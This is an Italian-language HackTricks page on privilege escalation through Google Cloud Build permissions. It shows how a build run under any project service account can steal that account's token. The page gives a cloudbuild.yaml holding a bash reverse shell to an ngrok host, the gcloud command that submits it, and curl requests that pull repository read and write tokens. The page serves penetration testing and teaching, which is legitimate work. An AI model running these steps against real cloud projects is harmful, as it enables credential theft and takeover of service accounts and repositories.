GCP - Cloudbuild Privesc

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

cloudbuild

Per ulteriori informazioni su Cloud Build controlla:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Con questo permesso puoi inviare un cloud build. La macchina cloudbuild avrà nel suo filesystem per default un token dell'Account di Servizio cloudbuild: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Tuttavia, puoi indicare qualsiasi account di servizio all'interno del progetto nella configurazione di cloudbuild.
Pertanto, puoi semplicemente far esfiltrare alla macchina il token verso il tuo server o ottenere una reverse shell al suo interno e prendere il token (il file contenente il token potrebbe cambiare).

Sfruttamento diretto tramite gcloud CLI

1- Crea cloudbuild.yaml e modifica con i dati del tuo listener

yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY

2- Carica una build semplice senza sorgente, il file yaml e specifica il SA da utilizzare nella build:

bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com

Utilizzando la libreria python gcloud

Puoi trovare lo script di exploit originale qui su GitHub (ma la posizione da cui prende il token non ha funzionato per me). Pertanto, controlla uno script per automatizzare la creazione, sfruttamento e pulizia di un ambiente vulnerabile qui e uno script python per ottenere una reverse shell all'interno della macchina cloudbuild e rubare il token qui (nel codice puoi trovare come specificare altri account di servizio).

Per una spiegazione più dettagliata, visita https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

Con questo permesso l'utente può ottenere il token di accesso in lettura utilizzato per accedere al repository:

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Con questo permesso, l'utente può ottenere il token di accesso in lettura e scrittura utilizzato per accedere al repository:

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Con questo permesso puoi ottenere i repo a cui la connessione ha accesso:

bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks